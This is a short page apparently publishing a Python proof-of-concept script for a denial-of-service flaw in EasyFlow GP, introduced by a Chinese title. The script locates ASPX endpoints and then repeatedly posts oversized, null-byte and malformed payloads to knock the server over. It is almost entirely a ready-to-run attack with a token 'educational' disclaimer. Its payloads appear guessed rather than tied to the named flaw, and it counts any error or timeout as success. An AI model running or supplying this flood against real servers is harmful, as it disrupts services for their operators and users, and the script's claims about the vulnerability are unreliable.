CVE-2025-13165 EasyFlow GP 拒绝服务漏洞

#!/usr/bin/env python3 """ CVE-2025-13165 PoC - EasyFlow GP Denial of Service Note: This PoC is for educational and authorized testing purposes only. """ import requests import sys import time def check_vulnerability(target_url): """Check if target is vulnerable to CVE-2025-13165""" print(f"[*] Checking target: {target_url}") # Test endpoint - adjust based on actual EasyFlow GP structure endpoints = [ "/mainpage.aspx", "/index.aspx", "/Default.aspx", "/login.aspx" ] for endpoint in endpoints: url = target_url.rstrip('/') + endpoint try: response = requests.get(url, timeout=10) if response.status_code == 200: print(f"[+] Found EasyFlow GP endpoint: {url}") return url except requests.RequestException as e: print(f"[-] Error connecting to {url}: {e}") return None def exploit_dos(target_url, num_requests=100): """ Denial of Service exploit for CVE-2025-13165 Sends specific malformed requests to trigger DoS condition """ print(f"[*] Initiating DoS attack with {num_requests} requests...") # Malformed request payload that triggers the vulnerability # This specific payload format is based on the vulnerability pattern malicious_payloads = [ {"param": "A" * 10000}, # Large parameter value {"__VIEWSTATE": "\\x00" * 5000}, # ViewState manipulation {"null": None}, # Null byte injection ] success_count = 0 for i in range(num_requests): try: for payload in malicious_payloads: response = requests.post( target_url, data=payload, timeout=5, allow_redirects=False ) if response.status_code in [500, 502, 503, 504]: success_count += 1 print(f"[!] Request {i+1}: Server returned error status") except requests.RequestException: success_count += 1 print(f"[!] Request {i+1}: Connection failed (DoS successful)") if (i + 1) % 10 == 0: print(f"[*] Progress: {i+1}/{num_requests} requests sent") print(f"\n[+] Attack completed: {success_count}/{num_requests} requests triggered DoS condition") return success_count > 0 if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2025-13165.py <target_url>") print("Example: python cve-2025-13165.py http://target.com/easyflow") sys.exit(1) target = sys.argv[1] # Check vulnerability vulnerable_endpoint = check_vulnerability(target) if vulnerable_endpoint: print("\n[*] Target appears to be running EasyFlow GP") confirm = input("[*] Do you want to proceed with DoS test? (y/N): ") if confirm.lower() == 'y': exploit_dos(vulnerable_endpoint) else: print("[*] Aborted by user") else: print("[-] Could not identify EasyFlow GP endpoint")